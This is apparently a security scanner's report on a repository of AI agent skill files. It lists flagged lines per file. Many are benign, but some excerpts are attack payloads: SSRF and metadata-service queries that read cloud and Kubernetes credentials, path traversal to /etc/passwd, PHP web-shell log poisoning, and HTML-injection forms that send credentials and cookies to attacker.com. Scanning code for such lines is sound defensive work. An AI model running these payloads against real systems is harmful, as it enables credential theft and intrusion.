    # Via SSRF - access runtime API https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
  • Network accessline 152
    https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
  • Network accessline 154
    # Via file read https://apigateway/prod/system?cmd=file:///proc/self/environ
  • Network accessline 155
    https://apigateway/prod/system?cmd=file:///proc/self/environ
  • Network accessline 182
    # Invoke backdoored function curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
  • Network accessline 183
    curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
  • Network accessline 312
    # List Kubernetes secrets https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
  • Network accessline 313
    https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
  • Network accessline 315
    # Get service account token https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
  • Network accessline 316
    https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token

skills/broken-authentication/SKILL.md

  • Network accessline 185
    tokens = [] for i in range(100):     response = requests.get("https://target.com/login")
  • Network accessline 186
    [Credential-related source omitted]
  • Network accessline 187
    response = requests.get("https://target.com/login")
  • Network accessline 220
    1. Attacker visits site, gets session: SESSIONID=attacker_session 2. Attacker sends link to victim with fixed session:    https://target.com/login?SESSIONID=attacker_session
  • Network accessline 221
    2. Attacker sends link to victim with fixed session:    https://target.com/login?SESSIONID=attacker_session 3. Victim logs in with attacker's session
  • Network accessline 222
    https://target.com/login?SESSIONID=attacker_session
  • Network accessline 305
    [Credential-related source omitted]
  • Network accessline 306
    [Credential-related source omitted]
  • Network accessline 456
    [Credential-related source omitted]
  • Network accessline 457
    [Credential-related source omitted]
  • Network accessline 464
    [Credential-related source omitted]
  • Network accessline 465
    [Credential-related source omitted]

skills/burp-suite-testing/SKILL.md

  • Network accessline 364
    ### HTTPS Interception Failing - Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate
  • Network accessline 365
    - Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate - Add certificate to trusted roots
  • Network accessline 366
    - Navigate to http://burp to download certificate

skills/chart-image/README.md

  • Network accessline 32
    git clone https://github.com/Cluka-399/chart-image.git skills/chart-image
  • Dangerous shell operationline 222
    curl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png
  • Network accessline 222
    curl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png
  • Network accessline 290
    Or pass any [d3-format](https://github.com/d3/d3-format) string: `--y-format ',.3f'`
  • Network accessline 303
    [Credential-related source omitted]
  • Network accessline 313
    <p align="center">   <sub>Built by <a href="https://clawhub.ai/u/Cluka-399">@Cluka-399</a> · Published on <a href="https://clawhub.ai">ClawHub</a> · <a href="https://github.com/Cluka-399/chart-image">GitHub</a></sub>
  • Network accessline 314
    <sub>Built by <a href="https://clawhub.ai/u/Cluka-399">@Cluka-399</a> · Published on <a href="https://clawhub.ai">ClawHub</a> · <a href="https://github.com/Cluka-399/chart-image">GitHub</a></sub>

skills/chart-image/scripts/chart.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 419
    const pieSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 420
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 498
    const heatmapSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 499
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 598
    const candleSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 599
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 666
    if (opts.stacked && opts.colorField) {     const stackedSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 667
    const stackedSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',       width: opts.width,
  • Network accessline 668
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 722
    if (opts.seriesField && opts.type === 'line') {     const multiSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 723
    const multiSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',       width: opts.width,
  • Network accessline 724
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 808
    const volumeSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 809
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 918
    const dualSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 919
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 1381
    if (opts.sparkline || opts.noAxes) {     const sparkSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 1382
    const sparkSpec = {       $schema: 'https://vega.github.io/schema/vega-lite/v5.json',       width: opts.width,
  • Network accessline 1383
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 1415
    const spec = {     $schema: 'https://vega.github.io/schema/vega-lite/v5.json',
  • Network accessline 1416
    $schema: 'https://vega.github.io/schema/vega-lite/v5.json',

skills/chart-image/scripts/package.json

  • Executable scriptline 1
    Executable file

skills/cloud-penetration-testing/SKILL.md

  • Network accessline 24
    # AWS CLI curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
  • Network accessline 25
    curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
  • Dangerous shell operationline 26
    unzip awscliv2.zip && sudo ./aws/install
  • Network accessline 28
    # GCP CLI curl https://sdk.cloud.google.com | bash
  • Dangerous shell operationline 29
    curl https://sdk.cloud.google.com | bash
  • Network accessline 29
    curl https://sdk.cloud.google.com | bash
  • Network accessline 61
    # Azure: Get federation info curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
  • Network accessline 62
    curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
  • Network accessline 64
    # Azure: Get Tenant ID curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
  • Network accessline 65
    curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
  • Network accessline 260
    # Access metadata service (from compromised EC2) curl http://169.254.169.254/latest/meta-data/
  • Network accessline 261
    curl http://169.254.169.254/latest/meta-data/
  • Network accessline 262
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 264
    [Credential-related source omitted]
  • Network accessline 265
    [Credential-related source omitted]
  • Network accessline 266
    [Credential-related source omitted]
  • Network accessline 336
    # Get metadata service data curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
  • Network accessline 337
    curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
  • Network accessline 339
    # Check access scopes curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
  • Network accessline 340
    curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
  • Dangerous shell operationline 351
    sudo find /home -name "credentials.db"
  • Dangerous shell operationline 352
    sudo cp -r /home/user/.config/gcloud ~/.config
  • Network accessline 379
    | List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 381
    | Metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 391
    | List clusters | `gcloud container clusters list` | | IAM policy | `gcloud projects get-iam-policy <project>` | | Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
  • Network accessline 393
    | Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
  • Network accessline 397
    | Provider | URL | |----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` |
  • Network accessline 398
    |----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` | | Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
  • Network accessline 399
    | AWS | `http://169.254.169.254/latest/meta-data/` |
  • Network accessline 400
    | Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
  • Network accessline 401
    | GCP | `http://metadata.google.internal/computeMetadata/v1/` |
  • Network accessline 442
    # Using MSOLSpray with FireProx for IP rotation # First create FireProx endpoint python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
  • Network accessline 444
    python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

skills/cloud-penetration-testing/references/advanced-cloud-scripts.md

  • Network accessline 3
    Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
  • Network accessline 81
    $body = @{     "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"     "resource"  = "https://graph.microsoft.com"
  • Network accessline 82
    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"     "resource"  = "https://graph.microsoft.com" }
  • Network accessline 83
    "resource"  = "https://graph.microsoft.com"
  • Network accessline 88
    $authResponse = Invoke-RestMethod      -UseBasicParsing      -Method Post      -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0"
  • Network accessline 90
    -Method Post `     -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
  • Network accessline 91
    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
  • Network accessline 97
    Navigate to https://microsoft.com/devicelogin and enter the code.
  • Network accessline 107
    $Tokens = Invoke-RestMethod      -UseBasicParsing      -Method Post      -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0"
  • Network accessline 109
    -Method Post `     -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
  • Network accessline 110
    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
  • Network accessline 119
    # From Azure VM Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 120
    Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 122
    # Full instance metadata $instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 123
    $instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 287
    # Add user to Global Admin via MS Graph $Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}" az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagemen
  • Network accessline 289
    az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body

skills/code-documenter/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   version: "1.0.0"
  • Network accessline 6
    author: https://github.com/Jeffallan

skills/code-documenter/references/api-docs-nestjs-express.md

  • Network accessline 71
    @ApiPropertyOptional({     description: "Profile picture URL",     example: "https://example.com/avatar.jpg",
  • Network accessline 72
    description: "Profile picture URL",     example: "https://example.com/avatar.jpg",   })
  • Network accessline 73
    example: "https://example.com/avatar.jpg",

skills/code-documenter/references/documentation-systems.md

  • Network accessline 25
    title: "My API",   tagline: "Build amazing things",   url: "https://docs.example.com",
  • Network accessline 26
    tagline: "Build amazing things",   url: "https://docs.example.com",   baseUrl: "/",
  • Network accessline 27
    url: "https://docs.example.com",
  • Access to secretsline 40
    [Credential-related source omitted]
  • Network accessline 128
    editLink: {       pattern: "https://github.com/user/repo/edit/main/docs/:path",
  • Network accessline 129
    pattern: "https://github.com/user/repo/edit/main/docs/:path",
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Network accessline 194
    <!-- Add to theme --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3" />
  • Network accessline 195
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3" />
  • Network accessline 197
    <script src="https://cdn.jsdelivr.net/npm/@docsearch/js@3"></script>
  • Access to secretsline 201
    [Credential-related source omitted]
  • Network accessline 228
    # linkcheck (Python) pip install linkchecker linkchecker http://localhost:3000/docs
  • Network accessline 230
    linkchecker http://localhost:3000/docs
  • Network accessline 232
    # broken-link-checker (Node) npm install -g broken-link-checker blc http://localhost:3000 -ro
  • Network accessline 234
    blc http://localhost:3000 -ro

skills/code-documenter/references/interactive-api-docs.md

  • Network accessline 83
    flows:         authorizationCode:           authorizationUrl: https://api.example.com/oauth/authorize
  • Network accessline 84
    authorizationCode:           authorizationUrl: https://api.example.com/oauth/authorize           tokenUrl: https://api.example.com/oauth/token
  • Network accessline 85
    authorizationUrl: https://api.example.com/oauth/authorize
  • Network accessline 86
    tokenUrl: https://api.example.com/oauth/token
  • Network accessline 166
    <title>API Documentation</title>     <link       href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700"
  • Network accessline 167
    <link       href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700"       rel="stylesheet"
  • Network accessline 168
    href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700"
  • Network accessline 189
    >     </redoc>     <script src="https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js"></script>
  • Network accessline 190
    </redoc>     <script src="https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js"></script>   </body>
  • Network accessline 191
    <script src="https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js"></script>
  • Access to secretsline 436
    [Credential-related source omitted]
  • Access to secretsline 479
    [Credential-related source omitted]
  • Network accessline 504
    [Credential-related source omitted]
  • Network accessline 505
    [Credential-related source omitted]
  • Access to secretsline 505
    [Credential-related source omitted]
  • Network accessline 506
    baseUrl: "https://api.example.com", // Optional

skills/code-documenter/references/user-guides-tutorials.md

  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 295
    const authUrl = client.oauth.getAuthUrl({   redirectUri: "https://yourapp.com/callback",
  • Network accessline 296
    redirectUri: "https://yourapp.com/callback",
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 328
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 548
    **Can't find your answer?** - [Browse all docs](/docs) - [Ask the community](https://community.example.com)
  • Network accessline 549
    - [Browse all docs](/docs) - [Ask the community](https://community.example.com) - [Contact support](/support)
  • Network accessline 550
    - [Ask the community](https://community.example.com)

skills/code-to-diagram/scripts/analyze_codebase.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 123
    [Credential-related source omitted]

skills/code-vuln-audit/SKILL.md

  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 64
    [Credential-related source omitted]

skills/code-vuln-audit/scripts/security_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 75
    [Credential-related source omitted]

skills/composition-patterns/AGENTS.md

  • Network accessline 915
    1. [https://react.dev](https://react.dev)
  • Network accessline 916
    2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context)
  • Network accessline 917
    3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)

skills/composition-patterns/metadata.json

  • Network accessline 5
    "abstract": "Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both hum
  • Network accessline 6
    "references": [     "https://react.dev",     "https://react.dev/learn/passing-data-deeply-with-context",
  • Network accessline 7
    "https://react.dev",
  • Network accessline 8
    "https://react.dev/learn/passing-data-deeply-with-context",
  • Network accessline 9
    "https://react.dev/reference/react/use"

skills/composition-patterns/rules/_template.md

  • Network accessline 24
    Reference: [Link](https://example.com)

skills/data-viz-renderer/scripts/build_infographic.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 133
    fill_attr = f' fill="{_esc(color)}"' if needs_fill else ""     return (         f'<svg xmlns="http://www.w3.org/2000/svg" width="{size}" height="{size}" '
  • Network accessline 134
    return (         f'<svg xmlns="http://www.w3.org/2000/svg" width="{size}" height="{size}" '         f'viewBox="0 0 24 24" style="color:{_esc(color)};fill:{_esc(color)}"'
  • Network accessline 135
    f'<svg xmlns="http://www.w3.org/2000/svg" width="{size}" height="{size}" '
  • Network accessline 185
    lines = [         f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {chart_w} {chart_h}" '
  • Network accessline 186
    f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {chart_w} {chart_h}" '
  • Network accessline 249
    lines = [         f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {size} {size}" '
  • Network accessline 250
    f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {size} {size}" '
  • Network accessline 303
    total_h = step_h + 80     lines = [         f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {total_w} {total_h}" '
  • Network accessline 304
    lines = [         f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {total_w} {total_h}" '         f'style="width:100%;max-width:{total_w}px;height:auto;overflow:visible">'
  • Network accessline 305
    f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {total_w} {total_h}" '

skills/database-optimizer/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   version: "1.0.0"
  • Network accessline 6
    author: https://github.com/Jeffallan

skills/database-scout/scripts/db_explorer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/dataset-quality-audit/scripts/data_quality_checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/dev-guide-generator/SKILL.md

  • Dangerous shell operationline 97
    sudo apt update && sudo apt install -y xxx
  • Access to secretsline 112
    [Credential-related source omitted]
  • Dangerous shell operationline 193
    - For permission-related issues, explain why the permission is needed rather than jumping to `sudo` or `chmod 777`
  • Dangerous shell operationline 196
    - Solutions must not include operations that could create security risks (e.g., `chmod 777`, disabling firewalls)
  • Dangerous shell operationline 359
    - [ ] No suggestions that could create security vulnerabilities (e.g., `chmod 777`)

skills/ethical-hacking-methodology/SKILL.md

  • Network accessline 188
    # Nikto web scanner nikto -h http://target.com
  • Network accessline 189
    nikto -h http://target.com
  • Network accessline 212
    # Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 213
    gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 260
    # SQLMap for SQL injection sqlmap -u "http://target.com/page.php?id=1" --dbs
  • Network accessline 261
    sqlmap -u "http://target.com/page.php?id=1" --dbs
  • Network accessline 262
    sqlmap -u "http://target.com/page.php?id=1" -D database --tables
  • Access to secretsline 282
    [Credential-related source omitted]
  • Dangerous shell operationline 301
    # Check sudo permissions
  • Dangerous shell operationline 302
    sudo -l

skills/file-path-traversal/SKILL.md

  • Network accessline 18
    - Web browser with developer tools - Burp Suite or OWASP ZAP - cURL for testing payloads
  • Network accessline 19
    - Burp Suite or OWASP ZAP - cURL for testing payloads - Wordlists for automation
  • Network accessline 20
    - cURL for testing payloads
  • Network accessline 115
    # Test payloads with curl curl "http://target.com/image?filename=../../../etc/passwd"
  • Network accessline 116
    curl "http://target.com/image?filename=../../../etc/passwd"
  • Network accessline 117
    curl "http://target.com/download?file=....//....//....//etc/passwd"
  • Access to secretsline 214
    [Credential-related source omitted]
  • Network accessline 288
    # Basic traversal fuzzing ffuf -u "http://target.com/image?filename=FUZZ" \
  • Network accessline 289
    ffuf -u "http://target.com/image?filename=FUZZ" \
  • Network accessline 293
    # Fuzzing with encoding ffuf -u "http://target.com/page?file=FUZZ" \
  • Network accessline 294
    ffuf -u "http://target.com/page?file=FUZZ" \
  • Network accessline 303
    wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt        --hc 404        "http://target.com/index.php?file=FUZZ"
  • Network accessline 305
    "http://target.com/index.php?file=FUZZ"
  • Network accessline 308
    wfuzz -c -z file,traversal.txt        -H "Cookie: session=abc123"        "http://target.com/load?path=FUZZ"
  • Network accessline 310
    "http://target.com/load?path=FUZZ"
  • Network accessline 318
    # Inject PHP code into logs curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
  • Network accessline 319
    curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
  • Network accessline 321
    # Include Apache log file curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
  • Network accessline 322
    curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
  • Network accessline 324
    # Include auth.log (SSH) # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
  • Network accessline 326
    curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
  • Network accessline 332
    # Inject via User-Agent curl -A "<?php system('id'); ?>" \
  • Network accessline 333
    curl -A "<?php system('id'); ?>" \
  • Network accessline 334
    "http://target.com/page?file=/proc/self/environ"
  • Network accessline 336
    # With command parameter curl -A "<?php system(\$_GET['c']); ?>" \
  • Network accessline 337
    curl -A "<?php system(\$_GET['c']); ?>" \
  • Network accessline 338
    "http://target.com/page?file=/proc/self/environ&c=whoami"
  • Network accessline 344
    # php://filter - Read source code as base64 curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
  • Network accessline 345
    curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
  • Network accessline 347
    # php://input - Execute POST data as PHP curl -X POST -d "<?php system('id'); ?>" \
  • Network accessline 348
    curl -X POST -d "<?php system('id'); ?>" \
  • Network accessline 349
    "http://target.com/page?file=php://input"
  • Network accessline 351
    # data:// - Execute inline PHP curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
  • Network accessline 352
    curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
  • Network accessline 354
    # expect:// - Execute system commands curl "http://target.com/page?file=expect://id"
  • Network accessline 355
    curl "http://target.com/page?file=expect://id"

skills/html-injection-testing/SKILL.md

  • Network accessline 19
    - Burp Suite or OWASP ZAP - Tamper Data or similar proxy - cURL for testing payloads
  • Network accessline 21
    - cURL for testing payloads
  • Network accessline 116
    <!-- Links --> <a href="http://attacker.com">Click Here</a>
  • Network accessline 117
    <a href="http://attacker.com">Click Here</a>
  • Network accessline 118
    <a href="http://attacker.com">Legitimate Link</a>
  • Network accessline 120
    <!-- Images --> <img src="http://attacker.com/image.png">
  • Network accessline 121
    <img src="http://attacker.com/image.png">
  • Network accessline 127
    # Test basic injection curl "http://target.com/search?q=<h1>Test</h1>"
  • Network accessline 128
    curl "http://target.com/search?q=<h1>Test</h1>"
  • Network accessline 130
    # Check if HTML renders in response curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
  • Network accessline 131
    curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
  • Network accessline 133
    # Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
  • Network accessline 134
    curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
  • Network accessline 146
    Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">      <h1>Site Under Maintenance</h1>      <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
  • Network accessline 147
    <h1>Site Under Maintenance</h1>      <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>      </div>
  • Network accessline 148
    <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
  • Network accessline 151
    <!-- Comment injection --> Great article! <form action="http://attacker.com/steal" method="POST">
  • Network accessline 152
    Great article! <form action="http://attacker.com/steal" method="POST">     <input name="username" placeholder="Session expired. Enter username:">
  • Network accessline 153
    <form action="http://attacker.com/steal" method="POST">
  • Network accessline 165
    <!-- URL injection --> http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
  • Network accessline 166
    http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
  • Network accessline 168
    <!-- Search result injection --> http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
  • Network accessline 169
    http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
  • Network accessline 177
    # POST injection test curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
  • Network accessline 178
    curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
  • Network accessline 179
    http://target.com/submit
  • Network accessline 181
    # Form field injection curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
  • Network accessline 182
    curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
  • Network accessline 183
    http://target.com/register
  • Network accessline 191
    <!-- If URL is displayed on page --> http://target.com/page/<h1>Injected</h1>
  • Network accessline 192
    http://target.com/page/<h1>Injected</h1>
  • Network accessline 194
    <!-- Path-based injection --> http://target.com/users/<img src=x>/profile
  • Network accessline 195
    http://target.com/users/<img src=x>/profile
  • Network accessline 206
    <h2>Session Expired</h2>     <p>Your session has expired. Please log in again.</p>     <form action="http://attacker.com/capture" method="POST">
  • Network accessline 207
    <p>Your session has expired. Please log in again.</p>     <form action="http://attacker.com/capture" method="POST">         <label>Username:</label><br>
  • Network accessline 208
    <form action="http://attacker.com/capture" method="POST">
  • Network accessline 217
    <!-- Hidden credential stealer --> <style>     input { background: url('http://attacker.com/log?data=') }
  • Network accessline 218
    <style>     input { background: url('http://attacker.com/log?data=') } </style>
  • Network accessline 219
    input { background: url('http://attacker.com/log?data=') }
  • Network accessline 220
    </style> <form action="http://attacker.com/steal" method="POST">     <input name="user" placeholder="Verify your username">
  • Network accessline 221
    <form action="http://attacker.com/steal" method="POST">
  • Network accessline 230
    http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%2
  • Network accessline 251
    <!-- Image injection --> <img src="http://attacker.com/defaced.jpg"
  • Network accessline 252
    <img src="http://attacker.com/defaced.jpg"
  • Network accessline 266
    <!-- Style injection --> <style>     body { background: url('http://attacker.com/track?cookie='+document.cookie) }
  • Network accessline 267
    <style>     body { background: url('http://attacker.com/track?cookie='+document.cookie) }     .content { display: none }
  • Network accessline 268
    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
  • Network accessline 273
    <!-- Inline style injection --> <div style="background:url('http://attacker.com/log')">Content</div>
  • Network accessline 274
    <div style="background:url('http://attacker.com/log')">Content</div>
  • Network accessline 280
    <!-- Redirect via meta refresh --> <meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
  • Network accessline 281
    <meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
  • Network accessline 290
    <!-- Hijack existing form --> <form action="http://attacker.com/steal">
  • Network accessline 291
    <form action="http://attacker.com/steal">
  • Network accessline 301
    <!-- Embed external content --> <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
  • Network accessline 302
    <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
  • Network accessline 304
    <!-- Invisible tracking iframe --> <iframe src="http://attacker.com/track" style="display:none"></iframe>
  • Network accessline 305
    <iframe src="http://attacker.com/track" style="display:none"></iframe>
  • Network accessline 369
    target = "http://target.com/search"
  • Network accessline 375
    "<script>alert(1)</script>",     "<img src=x onerror=alert(1)>",     "<a href='http://evil.com'>Click</a>",
  • Network accessline 376
    "<img src=x onerror=alert(1)>",     "<a href='http://evil.com'>Click</a>",     "<div style='color:red'>Styled</div>",
  • Network accessline 377
    "<a href='http://evil.com'>Click</a>",
  • Network accessline 378
    "<div style='color:red'>Styled</div>",     "<marquee>Moving</marquee>",     "<iframe src='http://evil.com'></iframe>",
  • Network accessline 379
    "<marquee>Moving</marquee>",     "<iframe src='http://evil.com'></iframe>", ]
  • Network accessline 380
    "<iframe src='http://evil.com'></iframe>",
  • Network accessline 387
    try:         response = requests.get(url, timeout=5)
  • Network accessline 388
    response = requests.get(url, timeout=5)

skills/http-load-profiler/SKILL.md

  • Network accessline 29
    # Basic usage — run default stepped load test against target URL python3 scripts/http_benchmark.py https://example.com/api/health
  • Network accessline 30
    python3 scripts/http_benchmark.py https://example.com/api/health
  • Network accessline 32
    # Custom concurrency steps and duration per step python3 scripts/http_benchmark.py https://example.com/api/health -s 5,20,50,100,300 -d 15
  • Network accessline 33
    python3 scripts/http_benchmark.py https://example.com/api/health -s 5,20,50,100,300 -d 15
  • Network accessline 35
    # Specify ab as the engine python3 scripts/http_benchmark.py https://example.com/ -t ab
  • Network accessline 36
    python3 scripts/http_benchmark.py https://example.com/ -t ab
